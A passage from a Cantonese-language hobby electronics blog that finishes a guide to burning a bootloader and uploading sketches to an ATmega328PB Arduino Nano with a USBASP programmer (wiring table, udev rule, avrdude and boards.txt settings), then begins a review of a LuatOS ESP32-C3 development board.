<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJOSn04FgxA2h_Crm9o_yoiwIGlcE3nvislAhjWVvjXI9ZbcTZ2wGFGy33bNtZhOK5LNzWR7Fi9JXWjcmapwp7ePQXWh9sKtZjL159Diu9_bKtZCQG8TajrvCY4ptBimqAfyF8bffVHT0fziVH5_jdv-0s8yACr8WRsNvbbPiz9YUPp7qaxys3UOeG3zc/w0/arduino-nano-atmega328pb-024.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJOSn04FgxA2h_Crm9o_yoiwIGlcE3nvislAhjWVvjXI9ZbcTZ2wGFGy33bNtZhOK5LNzWR7Fi9JXWjcmapwp7ePQXWh9sKtZjL159Diu9_bKtZCQG8TajrvCY4ptBimqAfyF8bffVHT0fziVH5_jdv-0s8yACr8WRsNvbbPiz9YUPp7qaxys3UOeG3zc/w600/arduino-nano-atmega328pb-024.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTpT-SUDGLwd-nn3F12XfW9o00-FrIqCfVhBPM_VgMJlINsFoulKpZo8jxkNKsysDquYgD0k_uclKd3LiVoMK0AJqkk3_Zjd9ZJQyLQnFEUeRpWGl0jTWgE7lzOqwNm-R7KRhLeTDpFgAjvly6etpQCQtYqdXy5XHTDc8GSLkHaAteKtu0SRkKJsBTZuw/w0/arduino-nano-atmega328pb-025.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTpT-SUDGLwd-nn3F12XfW9o00-FrIqCfVhBPM_VgMJlINsFoulKpZo8jxkNKsysDquYgD0k_uclKd3LiVoMK0AJqkk3_Zjd9ZJQyLQnFEUeRpWGl0jTWgE7lzOqwNm-R7KRhLeTDpFgAjvly6etpQCQtYqdXy5XHTDc8GSLkHaAteKtu0SRkKJsBTZuw/w600/arduino-nano-atmega328pb-025.jpg"/></a></div>
<div>由於 ICSP-10插頭,無法直接連接到目標裝置<br/>
因此需要使用 <span class="mra-highlighter">ICSP-10延長線</span> 方便連接到目標裝置</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihHrf21KOgtoFCzCoa0zORcNgy6gzsNhJi8w1ZxDAeHTWg_u1Tac486JU0Rrv-w5ek2Gon7MujJQBcHMa0Ho7IAVH-ugOyx6ExshLa-Em2T6mXvN5DrhvHCGevqU0Zxue9RcfNlq9xtf-PwBzkNQ8_pclEjj42-j7rE21BYklfu0WUG2LlZRJrVpwzXSk/w0/arduino-nano-atmega328pb-026.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihHrf21KOgtoFCzCoa0zORcNgy6gzsNhJi8w1ZxDAeHTWg_u1Tac486JU0Rrv-w5ek2Gon7MujJQBcHMa0Ho7IAVH-ugOyx6ExshLa-Em2T6mXvN5DrhvHCGevqU0Zxue9RcfNlq9xtf-PwBzkNQ8_pclEjj42-j7rE21BYklfu0WUG2LlZRJrVpwzXSk/w600/arduino-nano-atmega328pb-026.jpg"/></a></div>
<div>由於目標裝置沒有 ICSP-6 或 ICSP-10 ,因此在下以跳線連接到 Arduino Nano 的引腳使用</div>
<br/>
<div>留意,從延長線另一端接駁跳線時,插孔方向是反轉的</div>
<br/>
<div></div>
<table class="mra-table mra-collapse" width="60%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="50%"/>
<col width="50%"/>
</colgroup>
<thead>
<tr>
<th>顏色</th>
<th>引腳功能</th>
</tr>
</thead>
<tbody>
<tr class="mra-pin-vcc">
<td>紅色</td>
<td>VCC</td>
</tr>
<tr class="mra-pin-gnd">
<td>黑色</td>
<td>GND</td>
</tr>
<tr class="mra-pin-ss">
<td>藍色</td>
<td>SS</td>
</tr>
<tr class="mra-pin-mosi">
<td>綠色</td>
<td>MOSI</td>
</tr>
<tr class="mra-pin-miso">
<td>白色</td>
<td>MISO</td>
</tr>
<tr class="mra-pin-sck">
<td>黃色</td>
<td>SCK</td>
</tr>
</tbody>
</table>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQjLoPiXLNI-_PmEK_2uPEvwJLjYJXux21PfLzF3NRXRyzKOOPA38kEibhCowqGVoNSmBa58tio2vXo3G00Ddu02aiohgwWLJSFs8eCHUD4tgEkfy1f3kLfbc6qQbyayS2GH93xtoMWqqQGz-c36PNiqiC0lGAmsbpphJx1nq-jvOiNX06FHW-u_7HEG4/w0/arduino-nano-atmega328pb-029.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQjLoPiXLNI-_PmEK_2uPEvwJLjYJXux21PfLzF3NRXRyzKOOPA38kEibhCowqGVoNSmBa58tio2vXo3G00Ddu02aiohgwWLJSFs8eCHUD4tgEkfy1f3kLfbc6qQbyayS2GH93xtoMWqqQGz-c36PNiqiC0lGAmsbpphJx1nq-jvOiNX06FHW-u_7HEG4/w600/arduino-nano-atmega328pb-029.png"/></a></div>
<div>以 ICSP-10插孔 連接到 Arduino Nano</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZocjbDR4tD0pcY0Hgb8dETINrEnrPKdey5LVSoQvCakGsjki-gaRP0x6j8_Njs5C_WT9DH7Cik6074BhMr2NKQbv4G1DP1SeWUoA9J9QZnBLw37RTs5IZcgFxKVeVIEJYV0OlIO-TijxMwDf_nHmJHtG8WaUO5lBbeCW1xoTDByNqhGB3oHqZfM6ASAk/w0/arduino-nano-atmega328pb-027.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZocjbDR4tD0pcY0Hgb8dETINrEnrPKdey5LVSoQvCakGsjki-gaRP0x6j8_Njs5C_WT9DH7Cik6074BhMr2NKQbv4G1DP1SeWUoA9J9QZnBLw37RTs5IZcgFxKVeVIEJYV0OlIO-TijxMwDf_nHmJHtG8WaUO5lBbeCW1xoTDByNqhGB3oHqZfM6ASAk/w600/arduino-nano-atmega328pb-027.jpg"/></a></div>
<div>將引腳接駁到 Arduino Nano</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyKQet5rxKT23Q66a5RrHPJyu7AXaTE7nvc4TyXsxyk2VgECPgTxWV0gUxjaxi3jyHcqRi-EDNybmK0xWCAfdm61i6GIy3YhKvXsNED-sUl14n2rBsKsjruFAkds_36iWnDGFRL__m9vG3yj3CgAp8WZF-yTKV3AbOCZXJpp9YFM24lsIS8bvZyXPjKVs/w0/arduino-nano-atmega328pb-030.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyKQet5rxKT23Q66a5RrHPJyu7AXaTE7nvc4TyXsxyk2VgECPgTxWV0gUxjaxi3jyHcqRi-EDNybmK0xWCAfdm61i6GIy3YhKvXsNED-sUl14n2rBsKsjruFAkds_36iWnDGFRL__m9vG3yj3CgAp8WZF-yTKV3AbOCZXJpp9YFM24lsIS8bvZyXPjKVs/w600/arduino-nano-atmega328pb-030.png"/></a></div>
<div>將 USBASP V2.0 連接到電腦後,將 Programmer 修改為 <span class="mra-highlighter">USBasp</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI4UIIFV-3wXxspgA6S-Bf5Mvkz_nYtUBKJIGjtbj3FxZmnxX0xPDEABRCd1joO_Po5ZghiAywUPOtVdVJtIpAS7CKtgBIivzhlzN976Utc9yeQCjXZdZzQW3XPLXkUJSx7jRsftAujcuJdMt6Zvp0C-WOG_P6hzLgvAE8mDVZmRfxi3quDo_pM5iIH40/w0/arduino-nano-atmega328pb-031.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI4UIIFV-3wXxspgA6S-Bf5Mvkz_nYtUBKJIGjtbj3FxZmnxX0xPDEABRCd1joO_Po5ZghiAywUPOtVdVJtIpAS7CKtgBIivzhlzN976Utc9yeQCjXZdZzQW3XPLXkUJSx7jRsftAujcuJdMt6Zvp0C-WOG_P6hzLgvAE8mDVZmRfxi3quDo_pM5iIH40/w600/arduino-nano-atmega328pb-031.png"/></a></div>
<div>但 燒錄 Bootloader 時出現錯誤</div>
<pre class="brush:bash">avrdude usbOpenDevice() warning: cannot open USB device: Permission denied
avrdude usbasp_open() error: cannot find USB device with vid=0x16c0 pid=0x5dc vendor='www.fischl.de' product='USBasp
avrdude main() error: unable to open programmer usbasp on port usb</pre>
<div>原因是 USBASP V2.0 <span class="mra-highlighter">沒有存取 USB裝置 的權限,導致無法找到 USB裝置</span></div>
<br/>
<div>要讓 USBASP V2.0 存取 USB裝置 ,需要 設定 <span class="mra-highlighter">udev規則</span><br/>
開啟 Terminal 輸入</div>
<pre class="brush:bash">echo -n 'SUBSYSTEM=="usb", ATTRS{idVendor}=="16c0", ATTRS{idProduct}=="05dc", GROUP="dialout"' | sudo tee "/etc/udev/rules.d/99-usbasp.rules"</pre>
<div>檔案必須儲存在 <span class="mra-highlighter">/etc/udev/rules.d</span> ,但檔案名不一定使用 <span class="mra-highlighter">99-usbasp.rules</span><br/>
設定 udev規則 後,重新開機便可以令 udev規則 生效,亦可以輸入</div>
<pre class="brush:bash">sudo udevadm control --reload-rules
sudo udevadm trigger</pre>
<div>令 udev規則 立即生效</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgShG6VAfUSoyfg0p67Scyct1R7rVN6KTGHdI-cWt1orgVs1Rxqy3Sz1LXMLlGFjrBDWmrQO_DhcwZEobmuWM0LYJIqiU9QhwswgBBX6_ecetKgJhYBuVbH8eUvLkDe5ujbxeg4YYC_TgHgvDj0DpJ9-4LVPtPRlxx--DS4OIHyVjNGkU2B1eYmREfZAK0/w0/arduino-nano-atmega328pb-032.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgShG6VAfUSoyfg0p67Scyct1R7rVN6KTGHdI-cWt1orgVs1Rxqy3Sz1LXMLlGFjrBDWmrQO_DhcwZEobmuWM0LYJIqiU9QhwswgBBX6_ecetKgJhYBuVbH8eUvLkDe5ujbxeg4YYC_TgHgvDj0DpJ9-4LVPtPRlxx--DS4OIHyVjNGkU2B1eYmREfZAK0/w600/arduino-nano-atmega328pb-032.png"/></a></div>
<div>udev規則 生效後,便可以將 Bootloader 燒錄到 Arduino Nano ATmega328PB</div>
<br/>
<a name="經USBISP上載Sketch"></a><h4 class="mra-h4">經 USB ISP 上載 Sketch</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifMEv43Qlpy7tfTmlR-jonlluPZmliwKnNvNP2SMJvGMyRNRJB0xRfXxM0qvmRbKmtY7sdViTFvqZhwWVON6HHFdhVhTW_sFVWPVkyPDNx6WCPWZr17ahvKcbtTgAuTihyErB3a022sP_M4YKzG29UboIcKuJRoLrYf0Z9DAcBPDXFgltc61_egSz_Aok/w0/arduino-nano-atmega328pb-033.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifMEv43Qlpy7tfTmlR-jonlluPZmliwKnNvNP2SMJvGMyRNRJB0xRfXxM0qvmRbKmtY7sdViTFvqZhwWVON6HHFdhVhTW_sFVWPVkyPDNx6WCPWZr17ahvKcbtTgAuTihyErB3a022sP_M4YKzG29UboIcKuJRoLrYf0Z9DAcBPDXFgltc61_egSz_Aok/w600/arduino-nano-atmega328pb-033.png"/></a></div>
<div>雖然能夠 燒錄Bootloader 到 Arduino Nano ATmega328PB<br/>
但上載 Sketch 到 Arduino Nano ATmega328PB 卻出現錯誤</div>
<pre class="brush:bash">avrdude ser_open() OS error: cannot open port /dev/ttyUSB0: No such file or directory
avrdude main() error: unable to open programmer arduino on port /dev/ttyUSB0</pre>
<div>將上載指令複製</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTiViuE3Tj4lPQZGPWsJY8QtFmmZy_sEYiaWSn8XaQKmQYgWg5kMwB2hLI8ifPqnkYdBIUfPMU3dQxEyrZ22hulLaNzt7erz3BtHD5TrqoyLA3ErIBHJ9V5_ZCh1KIiimmHeN_NlEuHRgLqZ0rwldl0ewyqTyai-5m4bxfRbWXK7-53YU1Q7EeSXFoD7A/w0/arduino-nano-atmega328pb-034.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTiViuE3Tj4lPQZGPWsJY8QtFmmZy_sEYiaWSn8XaQKmQYgWg5kMwB2hLI8ifPqnkYdBIUfPMU3dQxEyrZ22hulLaNzt7erz3BtHD5TrqoyLA3ErIBHJ9V5_ZCh1KIiimmHeN_NlEuHRgLqZ0rwldl0ewyqTyai-5m4bxfRbWXK7-53YU1Q7EeSXFoD7A/w600/arduino-nano-atmega328pb-034.png"/></a></div>
<div>開啟 Terminal ,將剛才的指令貼上,並將 -carduino 修改為 <span class="mra-highlighter">-cusbasp</span> 及 -P/dev/ttyUSB0 修改為 <span class="mra-highlighter">-Pusb</span></div>
<pre class="brush:bash"><Path-of-Arduino-IDE>/packages/MiniCore/tools/avrdude/<Avrdude-Version>/bin/avrdude \
-C<Path-of-Arduino-IDE>/packages/MiniCore/hardware/avr/<Mini-Core-Version>/avrdude.conf \
-v \
-patmega328pb \
-cusbasp \
-Pusb \
-b115200 \
-D \
-Uflash:w:<hex-file>:i</pre>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZulmO06PSoLAhulXBMg9skrYawJGVOf2tln8P_kYXAQ6bFiHiEAgNKpc_xH-rRV1v3N3BM0xrRxirERGcPb4os6bLgMiEYQy95pvBSkLCElO6lNNJiZxvrT7YDc0df9k3bIn30U7dMdsFlK8g8UerIOSsM5pP9e46gZZsIzCutP9rTnBVUEDzhXDo3Pg/w0/arduino-nano-atmega328pb-035.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZulmO06PSoLAhulXBMg9skrYawJGVOf2tln8P_kYXAQ6bFiHiEAgNKpc_xH-rRV1v3N3BM0xrRxirERGcPb4os6bLgMiEYQy95pvBSkLCElO6lNNJiZxvrT7YDc0df9k3bIn30U7dMdsFlK8g8UerIOSsM5pP9e46gZZsIzCutP9rTnBVUEDzhXDo3Pg/w600/arduino-nano-atmega328pb-035.png"/></a></div>
<div>雖然比較轉接,但都能夠使用 USBASP V2.0 將 Sketch 上載到 ATmega328PB</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjQka6N-SXtdcHxvBuTYEFkpig5cSeT2bnJ0L5TcFVtnIR5-uJUB1rgH_6bx3Eglj-xcWUlt9kWfNcm30Hi5tSV0QDs9E8EUedRRf41yZeMnldC53zSAU_hDsgl-gftosN7RTxM5J13tu5A4_DfSv_Ghjl1zFG2mslLjYbRUIRxuZ3S0r9yeAR35jiBFM/w0/arduino-nano-atmega328pb-038.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjQka6N-SXtdcHxvBuTYEFkpig5cSeT2bnJ0L5TcFVtnIR5-uJUB1rgH_6bx3Eglj-xcWUlt9kWfNcm30Hi5tSV0QDs9E8EUedRRf41yZeMnldC53zSAU_hDsgl-gftosN7RTxM5J13tu5A4_DfSv_Ghjl1zFG2mslLjYbRUIRxuZ3S0r9yeAR35jiBFM/w600/arduino-nano-atmega328pb-038.png"/></a></div>
<div>同樣可以修改 Mini Core 的 boards.txt 指令,強制使用 USBASP 及 USB</div>
<pre class="brush:bash">328.menu.variant.modelPB_USBASP=328PB (USBASP)
328.menu.variant.modelPB_USBASP.bootloader.cksel_bits=1111
328.menu.variant.modelPB_USBASP.bootloader.cfd_bit=0
328.menu.variant.modelPB_USBASP.build.variant=pb-variant
328.menu.variant.modelPB_USBASP.build.mcu=atmega328pb
328.menu.variant.modelPB_USBASP.upload.protocol=usbasp
328.menu.variant.modelPB_USBASP.serial.port=usb</pre>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKHJncih3tL4r8sbyn1sVyNWBAOZzddbIcgCe0Y8h_gq3jgMqNwrwOtuRJu9-HLj7iRonmNGWjeMgvw61v5HTtfwqfG_NGkIf8LJWIdvXG2MGWgjKl7lisgJsSZ8zWkDscYmJvxH15pevaHipwyEUpMelYpUknSYZBKMUuVVBfjRal2wce-eDP2ZrErYA/w0/arduino-nano-atmega328pb-039.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKHJncih3tL4r8sbyn1sVyNWBAOZzddbIcgCe0Y8h_gq3jgMqNwrwOtuRJu9-HLj7iRonmNGWjeMgvw61v5HTtfwqfG_NGkIf8LJWIdvXG2MGWgjKl7lisgJsSZ8zWkDscYmJvxH15pevaHipwyEUpMelYpUknSYZBKMUuVVBfjRal2wce-eDP2ZrErYA/w600/arduino-nano-atmega328pb-039.png"/></a></div>
<div>在 Variant 中找到 328PB (USBASP) ,便可以在 Arduino IDE 選擇</div>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<div>雖然 ATmega328PB 已經是 2016年 的產品,但尋找到的資料並不多<br/>
當然,實際使用上其實與 ATmega328P 完全相同,只是簽名值不同<br/>
如果 Bootloader 已經燒錄到,只需要選擇對應的設定值便可以上載 Sketch</div>
<br/>
<div>Arduino Nano 到手後發現無法上載 Sketch 以為已經損壞<br/>
以為是 微控制器 沒有 Bootloader ,但無法將 Bootloader 燒錄到 Arduino Nano<br/>
仔細了解有否遺漏,結果發現這些 Arduino Nano 使用 ATmega328PB ,而非 ATmega328P<br/>
最後上網尋找上載 Sketch 到 ATmega328PB 的方法,結果就是修改 avrdude.conf<br/>
但網上沒有修改 boards.txt 的建議,看來都只是搬字過紙</div>
<br/>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://www.microchip.com/en-us/product/atmega328pb">ATmega328PB @ Microchip</a></li>
<li><a href="https://ww1.microchip.com/downloads/aemDocuments/documents/MCU08/ProductDocuments/DataSheets/40001906C.pdf">ATmega328PB 資料表</a></li>
<li><a href="https://ww1.microchip.com/downloads/aemDocuments/documents/MCU08/ProductDocuments/DataSheets/ATmega8A-Data-Sheet-DS40001974B.pdf">ATmega8A 資料表</a></li>
<li><a href="https://www.fischl.de/usbasp/">USB ASP 製作方法</a></li>
<li><a href="https://github.com/MCUdude/MiniCore">MiniCore @ GitHub</a></li>
</ul>
</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-11839692073768197772023-09-02T15:31:00.005+08:002023-09-04T09:49:42.384+08:00試用 LuatOS ESP32-C3 及 使用 WS2812B通孔LED<div>早前曾經使用 Mini D1 ESP32 製作藍牙鍵盤<br/>
但 Mini D1 ESP32 開發板的價錢比較貴,而且引腳佈局亦不適合在麵包板上使用<br/>
因此在下希望尋找一些價錢可以便宜一點的開發板降低成本 及 方便在麵包板上測試 的 開發板</div>
<a name='more'></a>
<div class="mra-index">
<ul>
<li><a href="#LuatOS-ESP32-C3">LuatOS ESP32-C3</a>
<ul>
<li><a href="#LuatOS-ESP32-C3外觀">外觀</a></li>
<li><a href="#LuatOS-ESP32-C3引腳">引腳</a></li>
<li><a href="#LuatOS-ESP32-C3測試電路">測試電路</a></li>
<li><a href="#LuatOS-ESP32-C3實際效果">實際效果</a></li>
</ul>
</li>
<li><a href="#WS2812B通孔LED">WS2812B 通孔 LED</a>
<ul>
<li><a href="#WS2812B通孔LED外觀">外觀</a></li>
<li><a href="#WS2812B通孔LED引腳">引腳</a></li>
<li><a href="#WS2812B通孔LED測試電路">測試電路</a></li>
<li><a href="#WS2812B通孔LED實際效果">實際效果</a></li>
<li><a href="#WS2812B通孔LED測試電路2">測試電路2</a></li>
<li><a href="#WS2812B通孔LED實際效果2">實際效果2</a></li>
<li><a href="#WS2812B通孔LED測試電路3">測試電路3</a></li>
<li><a href="#WS2812B通孔LED實際效果3">實際效果3</a></li>
</ul>
</li>
<li><a href="#使用MicroPython">使用 MicroPython</a>
<li><a href="#使用CircuitPython">使用 CircuitPython</a>
<li><a href="#藍牙HID">藍牙 HID</a></li>
<li><a href="#補充資料">補充資料</a></li>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<a name="LuatOS-ESP32-C3"></a><h4 class="mra-h4">LuatOS ESP32-C3</h4>
<div>LuatOS 使用 ESP32-C3晶片,是一種具備 Wifi 及 藍牙 功能的微控制器開發板</div>
<br/>
<a name="LuatOS-ESP32-C3外觀"></a><h5 class="mra-h5">外觀</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKcwY1WjklQc2UXPz-tkSYhRosBh-k6gw3nBeJ0gkj_l2ElSqoJNWsR-iKpdM8-IwdF35xl0y6EJecjrSB-Ygap3_FIkIaMn3NmaIToHR8jKQJTFE_Tn2UO4cz7461GigdUPDnnQyD3zxKenQCPonY5wgHm1QOXHxbhcE8Zukvq59syuULlCLc7gpg2Ok/w0/luatos-esp32-c3-001.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKcwY1WjklQc2UXPz-tkSYhRosBh-k6gw3nBeJ0gkj_l2ElSqoJNWsR-iKpdM8-IwdF35xl0y6EJecjrSB-Ygap3_FIkIaMn3NmaIToHR8jKQJTFE_Tn2UO4cz7461GigdUPDnnQyD3zxKenQCPonY5wgHm1QOXHxbhcE8Zukvq59syuULlCLc7gpg2Ok/w600/luatos-esp32-c3-001.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh89IyO1N_pe6HLcfJ5vWrW58eSd3ueb2teC3DSkXf3KHdGYLXKXuBoCEbetdpzM5BF7Bue41BMCCdPMYn1oP8IKGxUckbpYn7hUrHTwM1pPsY1YrVBGgOLkawi0KvqAJcqz3YggvrYbi8SpECcJmjRWoKa-xT0uy-xy1r_8u2cSHVdMraxZx1gYZo2JV8/w0/luatos-esp32-c3-002.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh89IyO1N_pe6HLcfJ5vWrW58eSd3ueb2teC3DSkXf3KHdGYLXKXuBoCEbetdpzM5BF7Bue41BMCCdPMYn1oP8IKGxUckbpYn7hUrHTwM1pPsY1YrVBGgOLkawi0KvqAJcqz3YggvrYbi8SpECcJmjRWoKa-xT0uy-xy1r_8u2cSHVdMraxZx1gYZo2JV8/w600/luatos-esp32-c3-002.jpg"/></a></div>
<div>LuatOS ESP32-C3 正面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc5xwJ1D_--Fmr1E35MgxO_BloI7UtVPFWovbu76mjnKVrtHmVvG826rnN3PiV0UXl1VY8DeWQ5-6ywc5StMVjDQJ6HtrO8-suXeyVyQG4ykBRplRwkr9rebD-lLBZrTi-GInsEqWKL8y_4qJhcoHcZnSqhIz3bAHqRvUYeNKavfib0V6z8O1EvTEVa0k/w0/luatos-esp32-c3-003.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc5xwJ1D_--Fmr1E35MgxO_BloI7UtVPFWovbu76mjnKVrtHmVvG826rnN3PiV0UXl1VY8DeWQ5-6ywc5StMVjDQJ6HtrO8-suXeyVyQG4ykBRplRwkr9rebD-lLBZrTi-GInsEqWKL8y_4qJhcoHcZnSqhIz3bAHqRvUYeNKavfib0V6z8O1EvTEVa0k/w600/luatos-esp32-c3-003.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcIG1fFwHJnLxFQKxrzk3Fgzt-WYsIMsoZAnxgqgGBPFT7tVjACJwXWBFazdoW5ckz_63YFWzrLRTMqSofwx-Gwmr7M38gLbNHaXV5n0MlslAn5d6ltbKZcqj4jfS9x89Bawfhk7BCtQj3uIso0kkblCQXbFNaJ-IOpnbA7CCADUT6_ec__sJTqA4Agu4/w0/luatos-esp32-c3-004.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcIG1fFwHJnLxFQKxrzk3Fgzt-WYsIMsoZAnxgqgGBPFT7tVjACJwXWBFazdoW5ckz_63YFWzrLRTMqSofwx-Gwmr7M38gLbNHaXV5n0MlslAn5d6ltbKZcqj4jfS9x89Bawfhk7BCtQj3uIso0kkblCQXbFNaJ-IOpnbA7CCADUT6_ec__sJTqA4Agu4/w600/luatos-esp32-c3-004.jpg"/></a></div>
<div>LuatOS ESP32-C3 背面<br/>
背面印有 LuatOS 的官方網址 及 引腳的功能</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHH5I7bu3LuJ8IuJefE0TJzyUg6C4O3vo0LrWoynRBLF2x7GDuevw4X4hZDHb-qhM3zduhDeDUi3fhnK717XDzoC5NkB2G8lMXknFXOcsyCYGXbYBxfRtrF77_FlhpCNssSs0sFduPOYZEt8yXJM3Dm9htoPvwKs9kMGasUXlfZmWCCQoKePWYa0cQfHc/w0/luatos-esp32-c3-005.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHH5I7bu3LuJ8IuJefE0TJzyUg6C4O3vo0LrWoynRBLF2x7GDuevw4X4hZDHb-qhM3zduhDeDUi3fhnK717XDzoC5NkB2G8lMXknFXOcsyCYGXbYBxfRtrF77_FlhpCNssSs0sFduPOYZEt8yXJM3Dm9htoPvwKs9kMGasUXlfZmWCCQoKePWYa0cQfHc/w600/luatos-esp32-c3-005.jpg"/></a></div>
<div>使用 USB Type-C 作為資料傳輸的連接埠<br/>
非常適合現在的電腦連接用途</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSfCqeOlmgbbIZ9s6foHdeqSRhzbtRlkAPK5dyvPo5p8fFpD1lqV4saa7hcDLfWkvIy_Eev3GCZWUzVchZbE3xwueSvqKdjOQggh0LQSUbbJUaN4JV9LpJo2vIti2AtNbtp_agmfVEavfF92DLMEBu4HNYzA7fAaKYqalEhwBCd7ayEm1OLMffumv22j4/w0/luatos-esp32-c3-006.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSfCqeOlmgbbIZ9s6foHdeqSRhzbtRlkAPK5dyvPo5p8fFpD1lqV4saa7hcDLfWkvIy_Eev3GCZWUzVchZbE3xwueSvqKdjOQggh0LQSUbbJUaN4JV9LpJo2vIti2AtNbtp_agmfVEavfF92DLMEBu4HNYzA7fAaKYqalEhwBCd7ayEm1OLMffumv22j4/w600/luatos-esp32-c3-006.jpg"/></a></div>
<div>Expressif 的 ESP32-C3晶片,是一種整合 WiFi模組 及 藍牙模組 的 微控制器晶片</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1RRy_zdvqnVWhMk5usoBEWBv5AiBPjgf_gP6fkoVlTFY76FXKahrb8vGqHVWGIbGhErje1PfSpZGPTRccX_GXmnprBoJZtib9CS9bYXB_s01Uqy2mNmHPLW_1bxSYhYuQL1lM3MzYOTItMZ-rfoEcmAvZFIiuEQ8WFUgwca8plIha8crQJQyNVDp_m2g/w0/luatos-esp32-c3-007.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1RRy_zdvqnVWhMk5usoBEWBv5AiBPjgf_gP6fkoVlTFY76FXKahrb8vGqHVWGIbGhErje1PfSpZGPTRccX_GXmnprBoJZtib9CS9bYXB_s01Uqy2mNmHPLW_1bxSYhYuQL1lM3MzYOTItMZ-rfoEcmAvZFIiuEQ8WFUgwca8plIha8crQJQyNVDp_m2g/w600/luatos-esp32-c3-007.jpg"/></a></div>
<div>WCH 的 343PC41 USB轉TTL晶片</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirPQPzIAPgVbs6euk-fxGDfKWdakt7mvdyX91ewZ-oBs6RVRgTwLQ03XYCjLKWQqzsDBYL9B987x-b2FBQpxEF6twHolNwzBRyeFv75WNjF0yEGRr9y_9gD8N0L17KQj9CIpR6WbThBD-D-3a4IUGocWjJRYhwS-l5w0dYi0iAwNf1ye8L16ZKF1IM_Oo/w0/luatos-esp32-c3-008.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirPQPzIAPgVbs6euk-fxGDfKWdakt7mvdyX91ewZ-oBs6RVRgTwLQ03XYCjLKWQqzsDBYL9B987x-b2FBQpxEF6twHolNwzBRyeFv75WNjF0yEGRr9y_9gD8N0L17KQj9CIpR6WbThBD-D-3a4IUGocWjJRYhwS-l5w0dYi0iAwNf1ye8L16ZKF1IM_Oo/w600/luatos-esp32-c3-008.jpg"/></a></div>
<div>PUYA 的 PY25Q32HB 提供 32Mb快閃記憶體的 晶片</div>
<br/>
